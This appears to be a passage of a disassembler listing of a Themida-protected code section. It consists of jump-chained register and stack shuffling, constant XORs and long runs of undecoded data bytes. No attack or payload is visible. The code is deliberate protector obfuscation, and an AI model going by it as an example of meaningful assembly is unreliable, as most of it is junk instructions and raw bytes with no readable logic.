		dd 0C381EB01h, 4DF06AE4h, 0FF9401E9h, 0C3805AFFh, 39C3803Eh
		dd 0F2E9C300h, 1FFFF97h, 31EA81C2h, 8B638B7Ch, 7BE92404h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C8F7:				; CODE XREF: Themida_:00589D66j
		or	eax, eax
		jz	loc_583221
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		push	edx
		jmp	loc_588844
; ---------------------------------------------------------------------------


loc_58C911:				; CODE XREF: Themida_:00582B83j
		add	edi, ebp
		jmp	loc_58AD9E
; ---------------------------------------------------------------------------
		dd 9358E959h, 0F829FFFFh, 0FF981EE9h, 2C77FFFFh, 0FF4F9CE9h
		dd 0CFC281FFh, 893CDD63h, 0DDF75AD5h, 3630C581h, 6856510Bh
		dd 3BCD69E4h, 0FF7653E9h, 565F68FFh, 1C890000h,	40BB24h
		dd 58E90000h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C95B:				; CODE XREF: Themida_:0058D31Bj
		push	ebx
		mov	ebx, 2B272BD2h
		push	eax
		jmp	loc_586150
; ---------------------------------------------------------------------------
		db 1
		dd 0D7D0E9C5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C96E:				; CODE XREF: Themida_:0058AD2Fj
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_584735
; ---------------------------------------------------------------------------
		dd 68242C89h, 35F33DE3h, 83242C8Bh, 6C2904C4h, 34FF0424h
		dd 0AC2DE924h, 0F758FFFFh, 0CBF281DAh, 420A0E68h, 0FF7272E9h
		dd 0DF015EFFh, 0FFE296E9h, 96E95CFFh, 53FFFF4Fh, 235CD8BBh
		dd 0DDEB8122h, 0C1042F3Ch, 0DBF703E3h, 8103E3C1h, 7FEC4C3h
		dd 0E9DE017Dh, 0FFFFC03Ch, 1AF6C381h, 0BDE9E0EFh
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C9EB:				; CODE XREF: Themida_:00581EB5j
		xchg	eax, ebx
		push	ebp
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	esi
		jmp	loc_582C7E
; ---------------------------------------------------------------------------
		dd 27EFBB53h, 55E944A7h, 0BDFFFFA7h, 2,	0FFF95BE9h, 4C383FFh
		dd 0E9241C87h, 0FFFF4F01h, 80D32858h, 0F5A44C3h, 48FC0B6h
		dd 4E9BE987h, 0C181FFFFh, 4, 8704C183h,	248B240Ch, 1C77FF24h
		dd 4EC81h, 34890000h, 33CCBE24h, 7431667Dh, 348B0424h
		dd 4C48124h, 0FF000000h, 0C8B2434h, 0E1895124h,	4C181h
		dd 34E90000h, 5FFFFFEFh, 8B1C6F21h, 0DE9242Ch, 52000013h
		dd 0FFF900E9h, 0E9C209FFh, 0FFFF8B3Dh, 77BBEB81h, 4BE947CFh
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58CA93:				; CODE XREF: Themida_:0058CD78j
		sub	ebp, eax
		mov	eax, [esp]
		jmp	loc_584CDA
; ---------------------------------------------------------------------------


loc_58CA9D:				; CODE XREF: Themida_:00585A61j
		add	esp, 4
		mov	ebp, edi
		mov	edi, [esp]
		jmp	loc_588BF5
; ---------------------------------------------------------------------------
		db 83h,	0C7h, 4
		dd 5C243C87h, 0E9240487h, 0FFFFBCDEh, 0E924248Bh, 0FFFFA4AAh
; ---------------------------------------------------------------------------


loc_58CAC4:				; CODE XREF: Themida_:00584890j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58AD7C
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4815Ah, 8B000000h,	0C481241Ch, 4, 0FF92B5E9h, 5D505DFFh
		dd 9474B858h, 3105C1CCh, 108DE5Dh, 31BB53E8h, 2908DE5Dh
		dd 15D5BD8h, 10081F8h, 8B000000h, 0C4812404h, 4, 0EC835355h
		dd 242C8904h, 0DC024DBDh, 246C3144h, 0E95D5D04h, 0FFFFB228h
		dd 0DB57A068h, 0F934E916h, 0D029FFFFh, 0E9D8295Ah, 0FFFF635Eh
; ---------------------------------------------------------------------------


loc_58CB48:				; CODE XREF: Themida_:00582CEBj
		mov	ebp, 28FA3225h
		shl	ebp, 8
		jmp	loc_58D15A
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 8B54243Ch, 5FE9243Ch, 8000000Fh, 0E950D2F3h
		dd 0FFFFE507h, 0D0E9D5F7h, 1FFFF85h, 0A36CE9F9h, 481FFFFh
		dd 424h, 0D908E900h, 0C00BFFFFh, 5636840Fh, 6852FFFFh
		dd 6325h, 89242C89h, 0E95055DDh, 0FFFFF595h, 0E9AAB353h
		dd 0FFFF635Eh
; ---------------------------------------------------------------------------


loc_58CBAC:				; CODE XREF: Themida_:00589E68j
		shr	edi, 5
		xor	edi, 8AC3BC8h
		jmp	loc_581ADD
; ---------------------------------------------------------------------------


loc_58CBBA:				; CODE XREF: Themida_:0058C173j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_583934
; ---------------------------------------------------------------------------
		db 5Ch,	53h, 0BBh
		dd 3C325A25h, 5A25F381h, 0D8213E32h, 5B2434FFh,	0FF68EBE9h
		dd 0A7EB81FFh, 1115C02h, 0A7C381CBh, 8B115C02h,	0CE9240Ch
		dd 53FFFFA1h, 507E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58CC0E:				; CODE XREF: Themida_:00584360j
		add	ecx, edi
		xor	dword ptr [ecx], 0E62BC473h
		pop	ecx


loc_58CC17:				; CODE XREF: Themida_:00582871j
					; Themida_:00584DE8j
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		jmp	loc_581DD9
; ---------------------------------------------------------------------------
aUhhIH		db 'UhH+ë',27h,']h',0
		dd 29000000h, 49E9242Ch, 89FFFF9Ah, 23BD242Ch, 8174C146h
		dd 8A048FF5h, 38C5815Ch, 4D6CFD23h, 0FF7212E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58CC51:				; CODE XREF: Themida_:0058A33Fj
		shl	eax, cl
		push	edi
		push	ecx
		mov	ecx, 1
		mov	edi, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_58D2CE
; ---------------------------------------------------------------------------


loc_58CC68:				; CODE XREF: Themida_:00582D0Ej
		xor	eax, 7DAB7A9Ah
		jmp	loc_58773D
; ---------------------------------------------------------------------------


loc_58CC72:				; CODE XREF: Themida_:0058A56Cj
		push	eax
		mov	eax, 1C0F0FD6h
		sub	edi, eax
		jmp	loc_588037
; ---------------------------------------------------------------------------


loc_58CC7F:				; CODE XREF: Themida_:00586CBCj
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		pop	eax
		pop	ecx
		push	74EBh
		mov	[esp], ecx
		jmp	loc_58DE2C
; ---------------------------------------------------------------------------
		db 54h
		dd 5024048Fh, 4B8h, 0C198E900h,	0EA80FFFFh, 0E9EA0068h
		dd 0FFFFD96Eh, 83241C8Bh, 41E904C4h, 5DFFFF5Ch,	2474FF53h
		dd 48F5B04h, 15E95C24h,	52FFFFC1h, 37E9DA88h, 8BFFFF75h
		dd 0C483242Ch, 4E98104h, 0E9000000h, 0FFFF9482h, 335AD101h
		dd 0C31240Ch, 0B482E924h, 895CFFFFh, 0EC812414h, 4, 56240489h
		dd 0FFD35BE9h, 59EA88FFh, 8B5AD188h, 0C4812404h, 4, 0FF848EE9h
		dd 0BFB951FFh, 29EC080Eh, 7AF4E9CDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58CD26:				; CODE XREF: Themida_:0058B5E6j
		xor	dword ptr [edi+20h], 50A5317h
		mov	esi, [esp]
		jmp	loc_58286E
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 10C2BF57h, 42BD0C8Fh, 0E9F370EFh, 0FFFFF81Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58737A
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 3C52C91h, 5EBC14Bh, 27FE68h, 0E5EDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58CD72:				; CODE XREF: Themida_:0058B7F6j
		push	2
		pop	eax
		jmp	loc_58CA93
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 6C4E9h, 0C3296600h, 0FFC763E9h, 0E95CB5FFh, 0FFFF5AA1h
		dd 50240C8Bh, 4055854h,	0E9000000h, 0FFFFF010h,	8B2434FFh
		dd 0C4812414h, 4, 0FF596FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58CDB5:				; CODE XREF: Themida_:00582A83j
		sub	[esp], edx
		pop	edx
		jmp	loc_58BC02
; ---------------------------------------------------------------------------
		dw 0DBB9h
		dd 0C1667B73h, 0C98105E1h, 641B5B02h, 53A5E981h, 0CA299B85h
		dd 81F22959h, 0FA27BDC2h, 85BD5553h, 150385Eh, 85E95DEAh
		dd 8BFFFFAEh, 0C4832414h, 0D8895004h, 0A4E9C289h, 0B2FFFFE1h
		dd 66D12073h, 0FC1805Ah, 0FF5073E9h, 80D528FFh,	5A97EDh
		dd 0BE1FE9E8h, 0D1F6FFFFh, 8812E980h, 0E6C059CEh, 0C9B35307h
		dd 0C8F380h, 52665BDEh,	152C08B6h, 0B652F028h, 22EE80E3h
		dd 8025E680h, 0E680A2F6h, 37F68032h, 0B2E9F000h, 5B000003h
		dd 4BB535Ah, 1000000h, 0E9555BDDh, 0CBFh, 8B66F530h, 0C4832414h
		dd 1C58002h, 50525066h,	8087B551h, 5CE9ECEDh, 89FFFFADh
		dd 31BF243Ch, 8165CF36h, 0FFFFFFEFh, 4EFC1FFh, 0C105E7C1h
		dd 0EF8106E7h, 8E6AC74Eh, 0FF82C2E9h, 241487FFh, 4A30F5Ch
		dd 22E99C24h
		db 4Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58CEA7:				; CODE XREF: Themida_:00581E13j
		push	esi
		mov	esi, 58ED6779h
		jmp	loc_589CD2
; ---------------------------------------------------------------------------
		dw 0BB53h
		align 8
		dd 303D301h, 53241C8Bh,	0C381E389h, 4, 8704C383h, 0FF5C241Ch
		dd 148B2434h, 0E1895124h, 4C181h, 0C1830000h, 7F5DE904h
		dd 401FFFFh, 0DAE99C24h, 8BFFFF49h, 0C4832414h,	0BA525D04h
		dd 2, 0FFFDE3E9h, 81E589FFh, 4C5h, 4C58100h, 87000000h
		dd 0F75C242Ch, 0E7ABE9D7h, 1D68FFFFh, 0E9000069h, 0FFFFFA64h
		dd 80FCC980h, 0C1FE63C1h, 0FFE390E9h, 1EC181FFh, 93FC7C9h
		dd 0D3F759CBh, 0DEF1C381h, 0DE016AE3h, 0FFE38AE9h, 1499BAFFh
		dd 0CA811736h, 41321CACh, 5BB4F281h, 3CE9AD74h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58CF5F:				; CODE XREF: Themida_:00588856j
		push	edi
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	66C8h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 800h
		push	6A7h
		mov	[esp], ecx
		push	dword ptr [esp]
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_585BE0
; ---------------------------------------------------------------------------
		db 53h,	0FFh, 74h
		dd 0E95B0424h, 0FFFFEF48h, 0A46FBC05h, 240C8B3Dh, 0FF752EE9h
		dd 243C87FFh, 65CE9h, 48EBE900h, 0F2BEFFFFh, 2960D134h
		dd 835E5EF2h, 148702C2h, 8ECEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58CFF2:				; CODE XREF: Themida_:0058916Cj
		mov	[esp], ebx
		mov	ebx, [esp]
		push	ebp
		push	esp
		jmp	loc_5882BC
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C241Ch, 0FFFF48C1h
; ---------------------------------------------------------------------------


loc_58D008:				; CODE XREF: Themida_:00584665j
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		jmp	loc_58C022
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFF4DF8h, 0BA241489h, 95B21BF8h, 0FF9DFEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58D02D:				; CODE XREF: Themida_:005843A4j
		push	edi
		mov	edi, 4
		jmp	loc_58733F
; ---------------------------------------------------------------------------
		dd 5D0803BEh, 0F4EE8127h, 8101DFCEh, 0D7181BEBh, 0BCC0E909h
		dd 1489FFFFh, 4BA24h, 0D7010000h, 8124148Bh, 4C4h, 4C78300h
		dd 31243C33h, 2EE9243Ch, 0B8000003h, 0BCF23E4h,	0CDE9C731h
		dd 83FFFF4Dh, 0C8904ECh, 22BB5324h, 893B526Fh, 601FE9D9h
		dd 23B3FFFFh, 0FFA197E9h, 0D830ACFFh, 55E18951h, 4BDh
		dd 0E9E90100h, 0FFFFFC2Bh, 65F9EF81h, 0ADE92E1Ah, 81FFFF4Bh
		dd 0CA17D1EFh, 0CFC78168h, 810DD132h, 813994EFh, 5C1E959h
		dd 0CF010000h, 756FC781h, 0E9590779h, 0FFFF5C3Bh
; ---------------------------------------------------------------------------


loc_58D0D8:				; CODE XREF: Themida_:00581F00j
		pop	ebx
		pop	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_581EB1
; ---------------------------------------------------------------------------
		dd 45ACB951h, 42E922FBh, 81FFFFFEh, 3F6242Ch, 34FF15D3h
		dd 24048B24h, 0FFCF32E9h, 0E18951FFh, 4C181h, 0BF570000h
		dd 45092C7Dh, 0FF62E8E9h, 5B44BDFFh, 56E96613h,	89FFFFA0h
		dd 51E957E1h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D127:				; CODE XREF: Themida_:0058DD4Ej
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_58DA16
; ---------------------------------------------------------------------------
		db 58h,	5Dh, 1
		dd 0C8758C1h, 70FE924h,	0B9510000h, 55FE4D11h, 0BED273BFh
		dd 8BCF01BEh, 0C483240Ch, 0F21DE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D15A:				; CODE XREF: Themida_:0058CB50j
		sub	ebp, 51D5E8E1h
		jmp	loc_585953
; ---------------------------------------------------------------------------


loc_58D165:				; CODE XREF: Themida_:00584005j
		push	35572EF2h
		pop	ebp
		dec	ebp
		inc	ebp
		push	6030h
		jmp	loc_585336
; ---------------------------------------------------------------------------
		db 89h
		dd 0F30159CEh, 241C875Eh, 2434875Ch, 0FF4740E9h, 240C33FFh
		dd 3A0E9h, 246C8100h, 3C087904h, 24148B61h, 0FF04C483h
		dd 81592434h, 4C4h, 4EC8300h, 0E9242C89h, 0FFFFA46Dh, 0D828492Ch
		dd 53664904h, 0F828B6B7h, 0FF748CE9h, 56E389FFh, 7353BA52h
		dd 0D68962B8h, 0DDBB535Ah, 0C137B358h, 0CB8103E3h, 2C736FACh
		dd 0BF5743h, 29000000h,	5FFB89DFh, 8362EB81h, 0DE01A4BCh
		dd 5EF3015Bh, 0FFDF03E9h, 81E95AFFh, 66FFFFBFh,	55240C8Bh
		dd 0EC835D54h, 24048904h, 0D17C73B8h, 7E8C149h,	0E9D7F797h
		dd 0FFFF5EB4h, 0F6F3EB80h, 0F1C380D3h, 0C7E9DD88h, 0AC000001h
		dd 0D0E9912Ch, 1FFFFD7h, 240C8BCEh, 8104C483h, 9367DEC6h
		dd 81CE0161h, 9367DEEEh, 73EE8161h, 8B4F8944h, 0C483240Ch
		dd 74FF5604h, 8F5E0424h, 0F65C2404h, 874DE9F9h,	148BFFFFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_584014
; ---------------------------------------------------------------------------
		dw 5E54h
		dd 4C681h, 0C6830000h, 24348704h, 0FFE383E9h, 6E6C1FFh
		dd 0FF4790E9h, 2434FFFFh, 2268535Eh, 89000073h,	0BE562424h
		dd 4, 4247401h,	0C3815B5Eh, 4, 0B95156h, 49137264h, 81D1F749h
		dd 726403C1h, 0FEA9E913h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D2CE:				; CODE XREF: Themida_:0058CC63j
		mov	[esp], ecx
		jmp	loc_5828B4
; ---------------------------------------------------------------------------
		dw 0DCF6h
		dd 0F180E186h, 0E9CF881Bh, 0FFFFB44Fh, 5AF728h,	68665BF8h
		dd 896672FBh, 29E92414h, 2D000000h, 22A40110h, 5624348Bh
		dd 0FF8C28E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58D305:				; CODE XREF: Themida_:005846BCj
		pop	esp


loc_58D306:				; CODE XREF: Themida_:00581C2Cj
		push	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		push	edi
		jmp	loc_58C95B
; ---------------------------------------------------------------------------
		dd 0D8B75366h, 0F9885150h, 0A7E9C888h, 0B2FFFFA1h, 3CC28020h
		dd 664CC280h, 26B050h, 5205E9C2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D342:				; CODE XREF: Themida_:0058AA6Ej
		add	esi, 63AA1567h
		sub	esi, edx
		sub	esi, 63AA1567h
		pop	edx
		add	ebp, 4C71676Ah
		add	ebp, esi
		sub	ebp, 4C71676Ah
		mov	esi, [esp]
		jmp	loc_587DF3
; ---------------------------------------------------------------------------
		db 52h
		dd 42474FFh, 8124148Bh,	4C4h, 5376E900h, 815CFFFFh, 4ECh
		dd 24148900h, 4EC81h, 80E90000h, 89FFFF6Fh, 0BA52240Ch
		dd 7B4723CFh, 0FFB9D0E9h, 243C33FFh, 8124248Bh,	1C3h, 245F8700h
		dd 0FF4E17E9h, 0F68158FFh, 32F62753h, 5B92EE81h, 0ED814FE1h
		dd 779B56C0h, 0C581F501h, 779B56C0h, 2C5815Eh, 0E9000000h
		dd 0FFFF4CCAh
; ---------------------------------------------------------------------------


loc_58D3D8:				; CODE XREF: Themida_:005833C4j
		xor	ebx, 4F2B75C8h
		push	4268h
		jmp	loc_58971E
; ---------------------------------------------------------------------------
		dd 0C681EE01h, 7C636A1Dh, 91D2E95Dh, 285BFFFFh,	0F5805AD5h
		dd 0E9E800F6h, 0FFFFD01Ch, 9F3D8EBEh, 8EBF5739h, 0D113187Bh
		dd 0A4EF81E7h, 0F748CA17h, 0C7C781D7h, 2920F6F4h, 7F22E9FEh
		dd 0C281FFFFh, 713B4A79h, 0B089E958h, 0DD00FFFFh, 59E8285Bh
		dd 0C075B551h, 0D5F602E5h, 5204E5C0h, 0FF65EEE9h, 4C481FFh
		dd 81000000h, 0D55133C5h, 0A4E94D31h, 81FFFFBAh, 0AB6D11C5h
		dd 80D9E948h, 0A9B9FFFFh, 0E9741018h, 0FFFFC996h, 596F5BBBh
		dd 0F3814B74h, 0BBA5204h, 1AE9DE29h, 83FFFFD5h,	895104C4h
		dd 4BA52E1h, 1000000h, 24148BD1h, 0FF506FE9h, 0F9E9ADFFh
		dd 8BFFFFB9h, 8956243Ch, 4C681E6h, 83000000h, 895704C6h
		dd 58A0E9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D4B6:				; CODE XREF: Themida_:00589DD6j
		mov	ebx, 19E74164h
		add	ebx, 2B106E67h
		jmp	loc_5853AE
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 8704C183h, 335C240Ch, 34312434h, 24343324h, 0F24248Bh
		dd 2268C8B6h, 8900004Ch, 5A542414h, 4C281h, 0E9500000h
		dd 0FFFF5A29h, 4002E0C1h, 5504E0C1h, 2E63C6BDh,	0EDC14D00h
		dd 80F58105h, 8159A912h, 3155B9CDh, 69C5813Bh, 2910F3A2h
		dd 69E95DE8h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D523:				; CODE XREF: Themida_:00585303j
		pop	eax
		sub	al, 3Dh
		add	al, 79h
		sub	al, ch
		sub	al, 79h
		jmp	loc_581961
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 16685053h, 89000036h, 0D788241Ch, 0FE885251h, 0FF8B11E9h
		dd 2E6C0FFh, 0FFE077E9h, 4C481FFh, 1000000h, 242C8BEBh
		dd 2904C483h, 0C3815BD8h, 28D52691h, 0E904EC83h, 0FFFFF907h
		dd 8704E983h, 0E95C240Ch, 0FFFFAA49h, 0B1E95350h, 81FFFFF5h
		dd 61477FF7h, 0B8CF8129h, 817F5E23h, 0F14760F7h, 5FFD2965h
		dd 0FFE845E9h, 113F68FFh, 24890000h, 24048124h,	4, 4C5815Dh
		dd 81000000h, 4EDh, 242C8700h, 240C895Ch, 0FFCAECE9h, 28EEBDFFh
		dd 8668678Bh, 89000054h, 68532434h, 6ABC7BB6h, 1FE9h, 0E2895200h
		dd 4865B850h, 5A2D1CE9h, 5126AE76h, 0B9h, 89C12900h, 0E95559C8h
		dd 0FFFF6144h, 7CE3815Bh, 814EA679h, 7995A4C3h,	0B9C0E922h
		dd 0F901FFFFh, 74FF515Fh, 0C8B0424h, 4C48124h, 0E9000000h
		dd 0FFFFDAAFh, 5C6FC181h, 0BD550048h, 7061F8Ch,	0FFD7CFE9h
		dd 24248BFFh, 650E9h
		db 0
; ---------------------------------------------------------------------------


loc_58D63D:				; CODE XREF: Themida_:005825F8j
		xor	ecx, [esp]
		mov	esp, [esp]
		push	3A6Eh
		mov	[esp], edx
		push	292Dh
		mov	[esp], esi
		jmp	loc_581E66
; ---------------------------------------------------------------------------
		dd 4C481h, 3DE90000h, 0D000003h, 72371035h, 6992A805h
		dd 58C689A4h, 0FF8E37E9h, 66C230FFh, 9D75E958h,	0FA29FFFFh
		dd 0FF8CFFE9h, 42E952FFh, 5BFFFF62h, 0A68FDh, 34FF0000h
		dd 240C8B24h, 0FFC771E9h, 3C77FFFFh, 5124048Bh,	0FF4310E9h
		dd 0EA814AFFh, 0E69DFEEFh, 148BD001h, 5A2BE924h, 0C381FFFFh
		dd 4, 0E9241C87h, 0FFFF6185h, 8324048Bh, 53E904C4h, 0D1FFFF4Bh
		dd 0DE981E1h, 293BD6B1h, 0E246E9CFh, 0E7C1FFFFh, 67B1E906h
		dd 5450FFFFh, 8124048Bh, 4C4h, 0BB63E900h, 0C9FEFFFFh
		dd 2821C180h, 0D80059C8h, 8B66FD04h, 77E9241Ch,	66FFFF72h
		dd 5A66D629h, 5E95D66h,	87FFFF5Fh, 815C241Ch, 0BB2492EAh
		dd 0FFD38908h, 815A2434h, 4C4h,	8373E900h, 0CA81FFFFh
		dd 7BA17DF1h, 5007EAC1h, 0F012EEB8h, 0B951485Eh, 725350FFh
		dd 173CC181h, 0F1812FB4h, 41E366DCh, 8107E1C1h,	3244DAF1h
		dd 0EBA5E9F6h, 0ED81FFFFh, 48501035h, 0CFE9D5F7h, 8BFFFFB5h
		dd 0C483240Ch, 24148704h, 0FFC567E9h, 0C78158FFh, 672B153Bh
		dd 0FF4D70E9h, 59CA01FFh, 0C7E9D731h, 0BFFFFF9Fh, 3B06360Fh
		dd 15FFA01h, 0FEA81CAh,	0E93B0636h, 1E9h, 0F80035B7h, 0FFF4FBE9h
		dd 81C380FFh, 0EB80C328h, 8AC38081h, 0FFA6BEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58D7C5:				; CODE XREF: Themida_:0058509Bj
		sub	esp, 4
		jmp	loc_589D77
; ---------------------------------------------------------------------------
		dd 0C8FEAF2Ch, 1D0C9134h, 0FFA606E9h, 0C026B2FFh, 0E28004EAh
		dd 0E95366D9h, 0FFFFE247h
; ---------------------------------------------------------------------------


loc_58D7EC:				; CODE XREF: Themida_:0058361Bj
		pop	esp
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	ebx
		push	1
		pop	ebx
		add	dword ptr [esp+4], 0EA127DBh
		add	[esp+4], ebx
		push	edx
		jmp	loc_589E54
; ---------------------------------------------------------------------------
		db 59h,	8Ah, 64h
		dd 5C880424h, 0E95B0424h, 0FFFF40A5h, 24048B66h, 0D8268h
		dd 24348900h, 0C681E689h, 4, 4DB6BB53h,	0F381692Bh, 78344D1Eh
		dd 0E902E3C1h, 0FFFFC8FAh, 0FF4078E9h, 4315CFFh, 0D634E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D85A:				; CODE XREF: Themida_:00584807j
		push	edx
		push	edi
		jmp	loc_5849F2
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aVicqhdq	db '$V‰æQh„Q',0
		align 2
		dw 0FDE9h
		dd 51FFFFA9h, 0C181E189h, 4, 8904EC83h,	4BA2414h, 1000000h
		dd 2434FFD1h, 0FF61A0E9h, 0C1D1F7FFh, 4AE903E9h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D89B:				; CODE XREF: Themida_:005876F5j
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_58B19F
; ---------------------------------------------------------------------------


loc_58D8B6:				; CODE XREF: Themida_:00588C0Bj
		mov	ecx, 1
		push	ecx
		xor	dword ptr [esp], 0EB02A87h
		pop	eax
		jmp	loc_589DDB
; ---------------------------------------------------------------------------
		db 0E9h, 0FBh, 3Fh
		dd 0C404FFFFh, 0C42CD800h, 0B3536652h, 0E9DE88DBh, 0FFFF5749h
		dd 24048B66h, 0FFE508E9h, 9FED80FFh, 289EB551h,	3FE959E8h
		dd 34FFFFD3h, 0E9C5282Dh, 0FFFF67F4h, 0E80C681h, 0BF576FB3h
		dd 4CE24C11h, 4215CF81h, 0E7812D64h, 7F304540h,	8106E7C1h
		dd 967C04F7h, 5FFE0164h, 0E955D629h, 0FFFF513Ah, 94E9515Fh
		dd 81FFFFC7h, 4ECh, 0B3F1E900h,	55ADFFFFh, 0AE4707BDh
		dd 5E2EE911h, 815AFFFFh, 4C4h, 31BF5700h, 2979771Dh, 0C3295FFBh
		dd 1D31C381h, 50E97977h, 81FFFFBDh, 48FE2404h, 401336Eh
		dd 242C8124h, 336E48FEh, 4EC81h, 34890000h, 5BDDBE24h
		dd 7401193Ah, 348B0424h, 4C48324h, 0FFBA74E9h, 240C8BFFh
		dd 0E9E38953h, 0FFFFE23Dh, 4EC81h, 2C890000h, 0F6E95224h
		dd 89FFFF6Bh, 9F0FE9CDh, 0B252FFFFh, 1C280CAh, 0B753DAF6h
		dd 9373E919h, 0C381FFFFh, 5BB422CAh, 5A2434FFh,	445FE956h
		dd 0C781FFFFh, 2, 2474FF57h, 48F5F04h, 24248B24h, 0FF870FE9h
		dd 240487FFh, 0F4F0E95Ch, 48FFFFFh, 8B665C24h, 8953240Ch
		dd 170B68E3h, 4890000h,	4B824h,	0C3010000h, 79FCE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DA16:				; CODE XREF: Themida_:0058D130j
		pop	dword ptr [esp]
		pop	eax
		push	6C8Ah
		jmp	loc_58496A
; ---------------------------------------------------------------------------
		dd 4EC81h, 3C890000h, 864FBF24h, 0FD01DB1Dh, 0FFEDD8E9h
		dd 2EDC1FFh, 0E906EDC1h, 0FFFFF037h, 33240431h,	835C2404h
		dd 2C8904ECh, 898AE924h, 0E883FFFFh, 24048704h,	243C895Ch
		dd 4BFh, 5FFD0100h, 7D2B68h, 24048900h,	0FFE150E9h, 241C8BFFh
		dd 0F704C483h, 8ED9E9DBh, 895CFFFFh, 0F5B82404h, 2556206Dh
		dd 667C7E78h, 0CF412225h, 0E02B2D4Ch, 0C731F0D9h, 0FFFCE0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58DAA1:				; CODE XREF: Themida_:005866ADj
		xchg	ebp, [esp]
		pop	esp
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_5818C9
; ---------------------------------------------------------------------------
		dd 0B60F6664h, 6D7EE902h, 0DD21FFFFh, 0A3F0E95Bh, 0C481FFFFh
		dd 4, 9BF5751h,	0E95C505Dh, 0FFFF67DAh,	0FF3DECE9h, 48966FFh
		dd 3DE3E924h, 8956FFFFh, 0E68956E6h, 4C681h, 0EE830000h
		dd 24348704h, 242C895Ch, 826EEABDh, 0F7D5F709h,	4351E9DDh
		dd 34FFFFFFh, 0C4815D24h, 4, 0AEE9C231h, 0FFFFFF3Dh, 0E9042474h
		dd 0FFFFA2F8h, 28B9F281h, 0D03111DBh, 0F350355Ah, 0C389582Ah
		dd 21C38158h, 1367E52h,	21EB81FBh, 52367E52h, 8904EC83h
		dd 0C388241Ch, 1C8BDA88h, 4C48324h, 0D1E91388h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DB5B:				; CODE XREF: Themida_:0058225Fj
		mov	[esp], esp
		jmp	loc_588540
; ---------------------------------------------------------------------------
		db 0E9h
